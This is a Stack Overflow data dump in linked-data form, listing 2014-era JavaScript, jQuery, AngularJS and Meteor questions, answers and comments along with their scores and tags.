tagged with: cufon
tagged with: javascript
score: 1
has title: how use Cufon in AngularJS
favorite count: 0

http://stackoverflow.com/comment/40095256
type: Comment
comment on: http://stackoverflow.com/q/25658418
score: 1
has text: As I see there're no `id`s in code you provided.
type: QuestionComment

http://stackoverflow.com/a/25686585
type: Answer
downvote count: 0
score: 1
has body: I'm working on a project similar to this and I had to upload a simple html file to one of my prod servers for testing so I could test the cross domain functionality. The html file pointed to localhost, so it would only work for me while in development. The jquery code looked like this (just in case it helps): $.ajax({ type: "POST", dataType: "json", cache: false, url: url, data: data, crossDomain: true, success: function (data) { ATSJBAjax = null; if (callback != null) callback(data); } }); Also I'm using c#/MVC, and I had to add an attribute to all controller methods that added "Access-Control-Allow-Origin" to the response header so Chrome would be OK with it. I called the attribute "AllowCrossDomainAccess", which ref'd the class below: public class AllowCrossDomainAccessAttribute : ActionFilterAttribute { public override void OnActionExecuting(ActionExecutingContext filterContext) { filterContext.RequestContext.HttpContext.Response.AddHeader("Access-Control-Allow-Origin", "*"); base.OnActionExecuting(filterContext); } }
answers question: http://stackoverflow.com/q/25686444
upvote count: 1
has comment: http://stackoverflow.com/comment/40145854

http://stackoverflow.com/q/25596941
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/25597005
accepted answer: http://stackoverflow.com/a/25597005
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/67686236
type: AnsweredQuestion
score: 2
linked to: http://stackoverflow.com/q/14319967
downvote count: 0
duplicate of: http://stackoverflow.com/q/14319967
type: Question
tagged with: angular-ui-router
has title: How do I get rid of the /#/ when using ui-router?
has body: I am new to Angular and I am currently doing my routes with ui.router and was curious about something. I notice when I go to my site either on localhost or online, my URL includes /#/ at the end of it. Home looks like domain.com/#/ and other pages follow suite ( domain.com/#/about ) How do I make it appear without the hash? Here is an example of my app.js var app = angular.module('dashboardApp', ['ui.router']); app.config( ['$stateProvider','$urlRouterProvider', function($stateProvider, $urlRouterProvider){ $urlRouterProvider.otherwise('/'); $stateProvider //Dashboard states and nested views ======================== .state('home', { url: '/', templateUrl: './templates/main/dashboard.html', controller: 'dashboardCtrl' }) //Subject states and nested views ========================== .state('about', { url: '/about', templateUrl: './templates/main/about.html', controller: 'aboutCtrl' }); }]); And here is how I am calling it in my DOM About
tagged with: javascript
tagged with: routes

recursion
type: Tag
tag name: recursion
tags question: http://stackoverflow.com/q/25665488
tags question: http://stackoverflow.com/q/25628723
tags question: http://stackoverflow.com/q/25591229
tags question: http://stackoverflow.com/q/25592952
tags question: http://stackoverflow.com/q/25551043
tags question: http://stackoverflow.com/q/25658253
tags question: http://stackoverflow.com/q/25572113
tags question: http://stackoverflow.com/q/25644884

http://stackoverflow.com/comment/40102667
comment on: http://stackoverflow.com/q/25650637
type: QuestionComment
type: Comment
has text: @swaroopk I can't do it with the library you imported because for that I have to study the whole of it. But the same thing you wrote in the question can be done by simple javaScript.
score: 0

http://stackoverflow.com/q/25669380
has comment: http://stackoverflow.com/comment/40114728
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25669733
has answer: http://stackoverflow.com/a/25669743
has answer: http://stackoverflow.com/a/25669733
has body: I have a webpage that has a table of usernames and scores, and it changes weekly based on scores. I just want to have a number of user's shown on my page. My table has multiple 's so using a script to count those will not work. Every row does have something in common though, the word "Score". So I figured I could just count that word, and return the value. I cannot figure out how to just count that one word after the page is loaded completely. Help? Edit: fixed tag
has comment: http://stackoverflow.com/comment/40115014
tagged with: php
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25669743
type: Question
has comment: http://stackoverflow.com/comment/40114834
answer count: 2
has comment: http://stackoverflow.com/comment/40114853
has comment: http://stackoverflow.com/comment/40115134
tagged with: javascript
has comment: http://stackoverflow.com/comment/40114821
score: 0
has title: Count specific word occurrence on page

http://stackoverflow.com/q/25556691
has comment: http://stackoverflow.com/comment/39918263
type: Question
has answer: http://stackoverflow.com/a/25556788
has body: Description : After some php work at the end,my php returns the following output to the jquery which called this page and so on ... Now in the jquery call back it gets lot of results. So among the results I want to search for the divs with specific id's or get those id's. How can I do that. e.g lets say I want all the id's that say chicken1 , chicken2 and so on .... Is there a way to do that ?? Following Is The Code : PHP echo ' '; JQUERY $.post("../PHP/get_all_new_msgs_on_profile.php",{arr:data},function(result) { $(result).hide().prependTo("#new_buddy_messages_on_profile").fadeIn("fast").slideDown("slow"); } Now the $(result) has the divs returned by the php how can I extract the id's of the divs from it ... PLease ignore any typing mistake . thanks :)
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/39908317
has title: Get id of any div and its childrens returned from php to jquery
has comment: http://stackoverflow.com/comment/39908282
accepted answer: http://stackoverflow.com/a/25556788
has answer: http://stackoverflow.com/a/25557253
has answer: http://stackoverflow.com/a/25556750
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25557253

http://stackoverflow.com/comment/40066135
has text: Can you edit your question with an actual scenario: input -> expected output?
type: QuestionComment
comment on: http://stackoverflow.com/q/25642653
score: 0
type: Comment

http://stackoverflow.com/comment/39914917
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25560087
has text: I want my computer making pizza for me! What is your question here, is there an error, does it simply "not work"? Also always helpful create a jsfiddle.

http://stackoverflow.com/a/25671606
upvote count: 1
score: 1
has body: The error is beign caused by the typo, it should be getElementById document.getElementbyId("graph") &gt;TypeError: undefined is not a function when you fix that and execute the code you will get document.getElementById("graph").appendChild("data") &gt;NotFoundError: Failed to execute 'appendChild' on 'Node': The new child element is null. this is because you are trying to append a string and not an actual html node. you will need to grab the element first as well document.getElementById("graph").appendChild(document.getElementById("data")); Since you already have references to both these objects a cleaner solution would be grap.appendChild(barWrapper);
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25671454

http://stackoverflow.com/q/25555727
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25563549
tagged with: php
has body: Help! I screwed up and have a very cranky client on this one... I've created a modal window inside of my WP php template files that says "when they click on this link for more information, pop up this modal window that shows a script sample." The page it's on is a whole long list of products, so each product is its own custom post with custom fields that are calling all of the product information, including the text that needs to display in the modal window. The CSS I'm using works in that it does activate the modal window when the link is clicked, BUT it's only activating the first product item, so that if a customer is clicking on the 14th one down they're still only seeing the content for the first product item. What do I need to change so that each modal window shows the appropriate content? I feel like a dummy. :( Here's the code I have that powers that little snippet: <?php query_posts( array( 'post_type' =>'product', 'orderby' => 'title', 'order' => 'ASC', 'showposts' => 9999999, 'tax_query' => array( array( 'taxonomy' => 'Group', 'field' => 'slug', 'terms' => array( 'books','video','audio-book' ), 'operator' => 'NOT IN', ), ) ) ); ?> <?php while ( have_posts() ) : the_post(); ?> Close This is an excerpt from the script: <?php echo get_post_meta( get_the_ID(), 'sample_script', true ); ?> <?php endwhile; ?>
score: 0
tagged with: wordpress
type: Question
has title: WP Dynamic Content in Modal Window Not Working
tagged with: javascript
answer count: 1

http://stackoverflow.com/comment/40170217
has text: How do you expect that to work? You need the event to tell you that the user browsed to the file.
comment on: http://stackoverflow.com/q/25699302
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25665214
has comment: http://stackoverflow.com/comment/40107853
has comment: http://stackoverflow.com/comment/40117009
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40117308
answer count: 0
has comment: http://stackoverflow.com/comment/40107564
tagged with: rendering
score: 0
has title: Google Map - Onclick re-render (height bug)
has comment: http://stackoverflow.com/comment/40118801
type: Question
has comment: http://stackoverflow.com/comment/40116334
has comment: http://stackoverflow.com/comment/40109227
tagged with: javascript
tagged with: google-maps-api-3
tagged with: google-maps
has comment: http://stackoverflow.com/comment/40118431
has comment: http://stackoverflow.com/comment/40107815
has comment: http://stackoverflow.com/comment/40107024
has body: I have a working google map via JS with custom styles. I am looking to use this twice on the site, however with a fixed element, the element is set @ 0px then transitions to 800px in height. However I need to call the google resize event in order for the map to re-size otherwize it results in a bad UI (clipped map). Resize Code: google.maps.event.trigger(map, 'resize'); I have the following code: function google_map_custom(){ function GoogleMapOptions(){ var markerPosition = new google.maps.LatLng([variable],[variable]), mapCenter = new google.maps.LatLng([variable],[variable]); var mapOptions = { zoom: 15, scrollwheel: false, panControl:true, zoomControl:true, rotateControl:true, disableDefaultUI:true, center: mapCenter, styles: [ { "CUSTOM Google JSON": "styles" }, {}] }; // ASSOCIATE VARIABLE WITH HTML ID var mapElement = document.getElementById('google-map'); // Align Settings to DOM Element var map = new google.maps.Map(mapElement, mapOptions); // RETINA MARKER (CUSTOM RE-SIZE) - USE VARIABLE BELOW var image = new google.maps.MarkerImage("[path-to-url]", null, null, null, new google.maps.Size(44,65)); // Tailor Custom Marker (SVG / PNG ACCEPTED) - USE CDN var marker = new google.maps.Marker({ position: markerPosition, map: map, icon:image }); } // Trigger map with element id and specific settings above google.maps.event.addDomListener(window, 'load', GoogleMapOptions); } My question is, how do I call the resize event on a click handler? I have this code as an example: $('[class selector]').click(function(){ $('#google-map.hidden--homepage').toggleClass('[active selector 800px in height]'); // INVOKE FUNCTION google_map_custom(); }); Just to confirm, transition works, styles work, map loads. I just need to trigger the map when the element is enlarged. thanks! COMMENT IMG (this is the styles for the google container:
tagged with: click

http://stackoverflow.com/q/25692240
has comment: http://stackoverflow.com/comment/40156442
has comment: http://stackoverflow.com/comment/40233136
type: Question
linked to: http://stackoverflow.com/q/25692074
tagged with: c#
has answer: http://stackoverflow.com/a/25692342
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25692346
has title: Is the array creation happening on every foreach loop?
has comment: http://stackoverflow.com/comment/40156468
has answer: http://stackoverflow.com/a/25692415
accepted answer: http://stackoverflow.com/a/25692415
answer count: 3
has comment: http://stackoverflow.com/comment/40156764
has answer: http://stackoverflow.com/a/25692346
has body: I find myself doing this: string states = "this,that,theother"; foreach(string state in states.Split(',')) { } And I wonder; Is the states string being split on every foreach loop? This example is in c# but do other programming languages behave differently? Do PHP and JavaScript split on each foreach loop? PHP : Does explode occur on each loop? $states = "this,that,theother"; foreach(explode(',', $states) as $state) { } This questions isn't a duplicate as I am asking about more than just c# which is solely the language that the "duplicate question" refers to. All these anonymous down-votes will be the death of Stack Overflow.
score: -6
favorite count: 0
linked to: http://stackoverflow.com/q/19867012
upvote count: 2
downvote count: 8
tagged with: php
has comment: http://stackoverflow.com/comment/40156744
has comment: http://stackoverflow.com/comment/40156477
type: AnsweredQuestion
tagged with: foreach

http://stackoverflow.com/q/25637035
score: -1
has comment: http://stackoverflow.com/comment/40056255
linked to: http://stackoverflow.com/q/3033910
has comment: http://stackoverflow.com/comment/40058039
downvote count: 1
has comment: http://stackoverflow.com/comment/40057219
type: Question
has comment: http://stackoverflow.com/comment/40056930
has answer: http://stackoverflow.com/a/25637972
tagged with: javascript
has title: How to use required inside addMethod in jQuery Validate plugin?
has comment: http://stackoverflow.com/comment/40056274
has comment: http://stackoverflow.com/comment/40056716
tagged with: validation
upvote count: 0
answer count: 1
tagged with: jquery
favorite count: 0
has body: I am trying to use jQuery Validate plugin addMethod for validating multiple fields of similar validation conditions. Those fields are required depending on another dropdown selection. How can I use required:true property inside an addMethod? All I can think of is JS code to check if the field is empty. But I want a cleaner way. Here's the code: HTML: &lt;td&gt; &lt;input type="text" name="examname1" id="en1" maxlength="8" size="8" disabled="disabled" onkeypress="return isAlphaKey(event)" /&gt; &lt;/td&gt; jQuery : //common validation method for education details in first row jQuery.validator.addMethod ("prox_education1", function (value, element) { if ($("#education").val() &gt;= 1) { ????? } }, "This field is required"); How do I make the field required if the condition is true? jQuery.validator.addMethod (...) { if (condition) { make this element required } else { ignore } "Error: This field is required and you left it blank"
type: UnansweredQuestion

http://stackoverflow.com/comment/39980853
has text: What about cookies? @IngoBürk
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25595686
type: Comment

http://stackoverflow.com/comment/39925112
comment on: http://stackoverflow.com/q/25564964
score: 1
has text: you need click instead of change, your event is of click
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25633150
type: UnansweredQuestion
has body: I have a form which is split up into sections using pagination on each tag. (See Fiddle) I however have required fields in each section, I'd like to validate it so that fields with the "required" attribute must not be blank before the user moves on to the next section. http://jsfiddle.net/Azxjt/ I've tried to following but don't think I'm on the right tracks: $(this).closest("article &gt; :input").each(function() { if($(this).val == null) { con = 0; } }); if ( con == 0 ) { alert("All fields must be filled in"); } else { } Your help is appreciated :)
score: 0
type: Question
has answer: http://stackoverflow.com/a/25633408
tagged with: javascript
tagged with: jquery
has title: JQuery MultiPage form.. validation on each step
has answer: http://stackoverflow.com/a/25633320
answer count: 2
tagged with: validation

http://stackoverflow.com/comment/40052145
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25633606
has text: I dont know what this plugin is.. But try sending `currentUser` as key value pair just the way you are sending `badge` `sound` etc..
score: 0

http://stackoverflow.com/comment/40034216
type: Comment
comment on: http://stackoverflow.com/a/25624476
has text: I do not want users to go to previous page by clicking browser back button.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25596382
downvote count: 0
has body: The specified error could occur due to one of the following reasons: Column with Internal Name Value does not exist in the List Configuration Values Since SP.ListItem.item property expects field Internal Name, please make sure the field with such a name exists in List. List Item value for a field Value could not be loaded implicitly. The solution: try explicitly specify what List Item properties to load using SP.ClientContext.load method. Replace the line: context.load(collListItems); with context.load(collListItems,'Include(Title,Value)');
score: 7
accepted answer of: http://stackoverflow.com/q/25594023
answers question: http://stackoverflow.com/q/25594023
type: AcceptedAnswer
upvote count: 7
type: Answer
has comment: http://stackoverflow.com/comment/42725109

http://stackoverflow.com/comment/40030654
type: Comment
has text: Does this help? http://stackoverflow.com/questions/24780854/knockoutjs-polymer-bindings-break-outside-of-chrome
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25608753

http://stackoverflow.com/comment/40355498
has text: Are you using `.to.eventually.equal(false)` to poll the value of `isPresent()`?
comment on: http://stackoverflow.com/q/25620082
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25562465
favorite count: 0
has body: I'm very new at this. I've read books to learn javascript and HTML, so unfortunately I haven't learn much about this. I never used AJAX before, so not sure how it works, searched online, but find all examples too complicated. Basically what I want to do is save a playlist (although not with cookies). Something everyone can see and add-on to it (similarly to a comments section). This is just an example, I'm doing something else, but the html + js would be a bit big. Just want to know how I would do it on this, so that I could understand it (hopefully) and apply it elsewhere. This would be the body and below it the code I have (currently all my code is in [head]): &lt;body&gt; &lt;form&gt; &lt;input type="text" id="songInput" size="40" placeholder="Song Name"&gt; &lt;img id="addButton" src="button.png"&gt; &lt;/form&gt; &lt;ul id="playlist"&gt;&lt;/ul&gt; &lt;/body&gt; &lt;script&gt; window.onload = load; function load() { var button = document.getElementById("addButton"); button.onclick = buttonClick; } function buttonClick() { var text = document.getElementById("songInput"); var song = text.value; var button = document.getElementById("addButton"); var add = document.createElement("li"); add.innerHTML = song; var ul = document.getElementById("playlist"); ul.appendChild(add); } &lt;/script&gt;
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39918941
has comment: http://stackoverflow.com/comment/39919180
score: 1
has answer: http://stackoverflow.com/a/25562651
has comment: http://stackoverflow.com/comment/39919149
upvote count: 1
type: Question
has title: Not sure how to use AJAX
tagged with: javascript
tagged with: jquery
tagged with: ajax
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0

http://stackoverflow.com/a/25657669
score: 0
has body: Try ng-include directive ng-include documentation sample.html is an external file which will load into your current html using ng-include directive
type: Answer
answers question: http://stackoverflow.com/q/25657206
has comment: http://stackoverflow.com/comment/40093992

http://stackoverflow.com/q/25651172
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25651331
accepted answer: http://stackoverflow.com/a/25651331
has answer: http://stackoverflow.com/a/25651435
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25651261
has title: Wait until multiple functions, which may or may not call ajax internally, are complete in jQuery?
type: Question
has body: I am currently validating a few inputs clientside. When the user submits the form, I want to check the values for the form inputs, and then do something once all the checks are complete $('form').submit(function() { var input1 = $('form #input1'); var input2 = $('form #input2'); //validate both input values validate_input(input1); validate_input(input2); //wait until all validation complete to execute code here return false; }); Here, the "validate_input" function will check the input value. If it passes the initial checks (such as character length), then it will make an AJAX request for further validation (ex. checking if username is taken). Something like this: function validate_input(input){ value=input.val(); if (value.length&lt;4){ //code to execute if input is too short } else { $.ajax({ type: 'get', url: check_input_url, data: input.serialize(), success: function(data){ if (data=="invalid") { //code to execute if invalid } else { //code to execute if valid } } }); } } I am currently using jQuery.when() and .done() functions, but the done() function does not wait until all the validate_input functions are completely done (including AJAX callbacks called from validate_input) $.when( validate_input(input1), validate_input(input2) ).done(function(){ //code here }); How would I wait until all the validate_input functions are complete (finished with any possible AJAX callbacks), before executing further code?
tagged with: jquery-deferred
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25651435
tagged with: ajax

http://stackoverflow.com/q/25702336
has body: For some reasons I am trying to change functionality of submit button. I am facing problem in copying data from HTML tags to JS. The alert generated by following code prints "Undefined" not the data inside tag. &lt;html&gt; &lt;body&gt; &lt;input class="inputtext" id="email" name="email" type="text"&gt;&lt;/div&gt; &lt;input value="Submit" name="v4l" id="login" class="inputsubmit" type="button" onclick="myFunction();return false"&gt; &lt;script&gt; function myFunction() { var TestVar =document.getElementsByClassName('login').value; alert(TestVar); } &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; I know it can be done by form but I need it this way.
downvote count: 3
accepted answer: http://stackoverflow.com/a/25702401
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40174863
has title: Can not copy data of HTML tags to JavaScript
score: -3
answer count: 2
linked to: http://stackoverflow.com/q/10693845
has answer: http://stackoverflow.com/a/25702366
upvote count: 0
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25702401
has comment: http://stackoverflow.com/comment/40174832
possible better answer: http://stackoverflow.com/a/25702366
has comment: http://stackoverflow.com/comment/40174818
tagged with: http://stackoverflow.com/tag/html

google-chrome
tags question: http://stackoverflow.com/q/25595396
tags question: http://stackoverflow.com/q/25663053
tags question: http://stackoverflow.com/q/25617688
tags question: http://stackoverflow.com/q/25610967
tags question: http://stackoverflow.com/q/25695275
tags question: http://stackoverflow.com/q/25574926
tags question: http://stackoverflow.com/q/25665436
tags question: http://stackoverflow.com/q/25599683
tags question: http://stackoverflow.com/q/25692930
tags question: http://stackoverflow.com/q/25704066
tags question: http://stackoverflow.com/q/25699977
tags question: http://stackoverflow.com/q/25669303
tags question: http://stackoverflow.com/q/25606730
tags question: http://stackoverflow.com/q/25665897
tags question: http://stackoverflow.com/q/25557193
tags question: http://stackoverflow.com/q/25638738
tags question: http://stackoverflow.com/q/25689230
tags question: http://stackoverflow.com/q/25661131
tags question: http://stackoverflow.com/q/25550983
tags question: http://stackoverflow.com/q/25590952
tags question: http://stackoverflow.com/q/25663337
tags question: http://stackoverflow.com/q/25590488
tags question: http://stackoverflow.com/q/25565237
tags question: http://stackoverflow.com/q/25682100
tags question: http://stackoverflow.com/q/25557869
tags question: http://stackoverflow.com/q/25697767
tags question: http://stackoverflow.com/q/25659205
tags question: http://stackoverflow.com/q/25622131
tags question: http://stackoverflow.com/q/25706235
tags question: http://stackoverflow.com/q/25655206
tags question: http://stackoverflow.com/q/25659595
tags question: http://stackoverflow.com/q/25657626
tags question: http://stackoverflow.com/q/25652485
tags question: http://stackoverflow.com/q/25667558
tags question: http://stackoverflow.com/q/25642325
tags question: http://stackoverflow.com/q/25655430
tags question: http://stackoverflow.com/q/25672346
tags question: http://stackoverflow.com/q/25689079
tags question: http://stackoverflow.com/q/25551252
tags question: http://stackoverflow.com/q/25667866
tags question: http://stackoverflow.com/q/25574914
tags question: http://stackoverflow.com/q/25552253
tags question: http://stackoverflow.com/q/25704890
tags question: http://stackoverflow.com/q/25706513
tags question: http://stackoverflow.com/q/25556097
tags question: http://stackoverflow.com/q/25596026
tags question: http://stackoverflow.com/q/25651911
tags question: http://stackoverflow.com/q/25648579
tags question: http://stackoverflow.com/q/25585177
tags question: http://stackoverflow.com/q/25562286
tags question: http://stackoverflow.com/q/25702395
tags question: http://stackoverflow.com/q/25702424
tags question: http://stackoverflow.com/q/25686444
tags question: http://stackoverflow.com/q/25632139
tags question: http://stackoverflow.com/q/25577189
tags question: http://stackoverflow.com/q/25684734
tags question: http://stackoverflow.com/q/25605511
tags question: http://stackoverflow.com/q/25564017
tags question: http://stackoverflow.com/q/25573193
tags question: http://stackoverflow.com/q/25679557
tags question: http://stackoverflow.com/q/25634640
tags question: http://stackoverflow.com/q/25597714
tags question: http://stackoverflow.com/q/25672332
tags question: http://stackoverflow.com/q/25555698
tags question: http://stackoverflow.com/q/25664981
type: Tag
tags question: http://stackoverflow.com/q/25711910
tags question: http://stackoverflow.com/q/25709104
tags question: http://stackoverflow.com/q/25597723
tags question: http://stackoverflow.com/q/25572130
tags question: http://stackoverflow.com/q/25666167
tags question: http://stackoverflow.com/q/25641521
tags question: http://stackoverflow.com/q/25604373
tags question: http://stackoverflow.com/q/25691454
tags question: http://stackoverflow.com/q/25578511
tag name: google-chrome
tags question: http://stackoverflow.com/q/25699029
tags question: http://stackoverflow.com/q/25673326
tags question: http://stackoverflow.com/q/25634102
tags question: http://stackoverflow.com/q/25685830

http://stackoverflow.com/q/25556392
has answer: http://stackoverflow.com/a/25556447
tagged with: http://stackoverflow.com/tag/html
has body: I'm attempting to move JavaScript event triggers on the two password fields (to alert the user if they're not equal) from within the form elements to document.getElementById('id_password1').addEventListener('keyUp', checkPass); document.getElementById('id_password2').addEventListener('keyUp', checkPass); But the function is never triggered (if I change checkPass to checkPass() the function is called on page-load only, but I don't think this means it's being triggered by the listener). There are no errors in the JavaScript console. If I change the ids to something bogus, it gives this error: Uncaught TypeError: Cannot read property 'addEventListener' of null (I'm not familiar enough with the Chrome JavaScript inspector, to know if it can help me further.) It all works properly if the event triggers are directly in the form elements. Here are the form elements: Password: Password confirm: What am I missing? <TITLE>Create account Create account Username: Required. 30 characters or fewer. Letters, digits and @/./+/-/_ only. Password: Password confirm:
upvote count: 2
accepted answer: http://stackoverflow.com/a/25556447
score: 2
possible better answer: http://stackoverflow.com/a/25556791
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25556791
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
favorite count: 0
has title: Function never triggered by getElementById().addEventListener()

http://stackoverflow.com/a/25644881
has body: Maybe this help app.controller('RecentPostsController', function ($rootScope, $scope, $http) { $http.get("/site/recentpostsjson/" + appname).success(function (data) { $scope.posts = data; $rootScope.$broadcast('contentLoaded') }); }); app.directive('contentHeight', ['$timeout', '$rootScope', function($timeout, $rootScope){ return { link: function(scope, elem, attrs){ $rootScope.$on('contentLoaded', function(){ $timeout(function(){elem[0].scrollHeight}); }) } } }) &lt;body ng-app="someApp" content-height&gt;&lt;!--All you staff --&gt;&lt;/body&gt; You must manipulate DOM only in directives! P.S. timeout service run callback function only then digest is stopped Without timeout http://jsfiddle.net/zcbzajqL/
has comment: http://stackoverflow.com/comment/40070298
score: 1
has comment: http://stackoverflow.com/comment/40074214
upvote count: 1
has comment: http://stackoverflow.com/comment/40071145
type: Answer
answers question: http://stackoverflow.com/q/25644543
downvote count: 0

http://stackoverflow.com/q/25564964
upvote count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39924728
linked to: http://stackoverflow.com/q/25085926
has title: Loading Json content through ajax does not open popup?
favorite count: 0
tagged with: ajax
has body: jquery code: &lt;script type="text/javascript"&gt; $(document).ready(function() { $('.img-responsive').on("click",function(){ $('.modal-body').html( $(this).parent().html() ); $('#myModal').modal({show:true}) }); }) &lt;/script&gt; Load content dynamically from json file: &lt;script type="text/javascript"&gt; function showcontent(contentId) { var image=industry_contents[contentId-1].image_path.length; var imagehtml=""; for(var i=0;i&lt;image;i++) { if(i==0) { imagehtml+='&lt;div class="item active"&gt;'; imagehtml+='&lt;img src="'+industry_contents[contentId-1].image_path[i]+'" class="img-responsive"&gt;'; imagehtml+='&lt;/div&gt;'; } else { imagehtml+='&lt;div class="item"&gt;'; imagehtml+='&lt;img src="'+industry_contents[contentId-1].image_path[i]+'" class="img-responsive"&gt;'; imagehtml+='&lt;/div&gt;'; } } $('#chartimage').html(imagehtml); } &lt;/script&gt; link for slider and modal popup : `http://www.bootply.com/byUX0u7K0s` In the above code i have a mini slider with prev and next button in bootstrap in which i am trying to open a popup modal of each image. so when we load the content by default everthing works fine(popup opens).But when i load the content dynamically using jSon And ajax the popup is not working.is there any wrong in my jQuery code?? any help would be appreciated...
has comment: http://stackoverflow.com/comment/39924599
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39924456
answer count: 0
downvote count: 0
tagged with: twitter-bootstrap
score: 1
has comment: http://stackoverflow.com/comment/39925112
has comment: http://stackoverflow.com/comment/39924832
has comment: http://stackoverflow.com/comment/39925370
type: Question
has comment: http://stackoverflow.com/comment/39926425
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/39924397
has comment: http://stackoverflow.com/comment/39924356

http://stackoverflow.com/comment/40188112
type: AnswerComment
has text: Oops, I stripped out what I didn't need for display purposes - accidentally deleted that part from the jQuery before adding to the fiddle - good spot though :)
type: Comment
comment on: http://stackoverflow.com/a/25709592
score: 0

http://stackoverflow.com/comment/40167655
type: Comment
score: 0
type: AnswerComment
has text: I wanted the navbar to be at the top of the page only after the user scroll the page. Something like this page. http://www.templatemonster.com/demo/51090.html
comment on: http://stackoverflow.com/a/25698186

http://stackoverflow.com/a/25672684
accepted answer of: http://stackoverflow.com/q/25672476
has body: Your looking for the Xrm.Page.ui.getFormType() method. In your case you'll check if the current FormType equals 1 (Create): onLoad: function () { var ft = Xrm.Page.ui.getFormType(); if (ft === 1) { // unlock your attributes here } }
score: 1
answers question: http://stackoverflow.com/q/25672476
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0

http://stackoverflow.com/comment/39928393
has text: @user574632 my php returns divs with the image and the message of the persons who sent you message .... I have a notification panel in which I have the recent received messages. Now if I have a message received from Aron I want the previously received message div replaced with the new one from Aron ... thats why
score: 0
comment on: http://stackoverflow.com/q/25567260
type: Comment
type: QuestionComment

virtual-earth
type: Tag
tags question: http://stackoverflow.com/q/25624800
tag name: virtual-earth

http://stackoverflow.com/q/25670148
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25671511
favorite count: 0
has answer: http://stackoverflow.com/a/28101676
has title: how to create a non-modal bootstrap dialog box
possible better answer: http://stackoverflow.com/a/28101676
tagged with: twitter-bootstrap
has comment: http://stackoverflow.com/comment/40116459
has answer: http://stackoverflow.com/a/25672444
has answer: http://stackoverflow.com/a/37774536
type: AnsweredQuestion
upvote count: 9
has answer: http://stackoverflow.com/a/29883084
has answer: http://stackoverflow.com/a/33508312
score: 9
type: Question
has answer: http://stackoverflow.com/a/25671511
has answer: http://stackoverflow.com/a/37770600
downvote count: 0
answer count: 7
has body: I am trying to create a non-modal bootstrap dialog box. I just don't know how to do it. I have checked lot of post but none answers my question. I need the dialog to be none - modal because I want the user to be able to do other things even if the dialog box is opened. I saw a link https://refork.codicode.com/x657 but when I tried it, didn't work for me. The dialog refused to open Thanks a lot.
tagged with: javascript

http://stackoverflow.com/a/25677859
has comment: http://stackoverflow.com/comment/40158532
has comment: http://stackoverflow.com/comment/40158569
type: Answer
has comment: http://stackoverflow.com/comment/40158574
has comment: http://stackoverflow.com/comment/40152582
score: 14
has body: So, when I run meteor, app works fine. However, when I close the connection to my cloud server, meteor obviously shuts down. You could launch meteor with nohup (no hang-up) which serves this purpose. nohup meteor --production &amp; But it's not a good idea to run a site in production with meteor anyway. What should I do to run meteor forever ? You can use forever, a Node.js tool designed to run node apps as services. I also want to point that forever is getting old and I've heard of better recent alternatives but it seems to still be a pretty common tool. You could also use systemd which integrates better with the UNIX service ecosystem but that's anoter story. But first, you'll have to "demeteorize" your meteor application like this : cd my-project-meteor meteor bundle --directory ../my-project-node # this is going to take some time cd ../my-project-node/programs/server npm install # this is going to take some time too So now you have a plain node app, that you can run with node main.js Let me mention that it might be a good idea to use the node version used by meteor which is 0.10.29 as of meteor 0.9.1 You can install it traditionally or you could use the node version that is shipped with the meteor tool. sudo ln -s ~/.meteor/packages/meteor-tool/1.0.27/meteor-tool-os.linux.x86_64/dev_bundle/bin/node /usr/bin/node sudo ln -s ~/.meteor/packages/meteor-tool/1.0.27/meteor-tool-os.linux.x86_64/dev_bundle/bin/npm /usr/bin/npm Note that this way of "installing" node + npm on your system is problematic because : it assumes you're doing only meteor related stuff. it is dependant on the release process of the meteor tool (you'll need to rerun these commends if the meteor tool is updated). You can install the forever tool using npm : # -g means globally : give access to forever to all users on the system sudo npm install -g forever To launch your node app as a service, you can use the following command, which sets correctly some environment variables and run the app using f…
upvote count: 14
has comment: http://stackoverflow.com/comment/40158413
has comment: http://stackoverflow.com/comment/40138519
has comment: http://stackoverflow.com/comment/40158535
has comment: http://stackoverflow.com/comment/40158484
accepted answer of: http://stackoverflow.com/q/25677701
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40158189
has comment: http://stackoverflow.com/comment/40158542
answers question: http://stackoverflow.com/q/25677701
has comment: http://stackoverflow.com/comment/40138604

http://stackoverflow.com/comment/40006393
comment on: http://stackoverflow.com/q/25605557
has text: What version of jsdoc are you using?
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/39908679
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25556559
has text: Mike: I added a routing example. But can't do this in razor... needs to be done in JavaScript.
score: 0

http://stackoverflow.com/comment/39938241
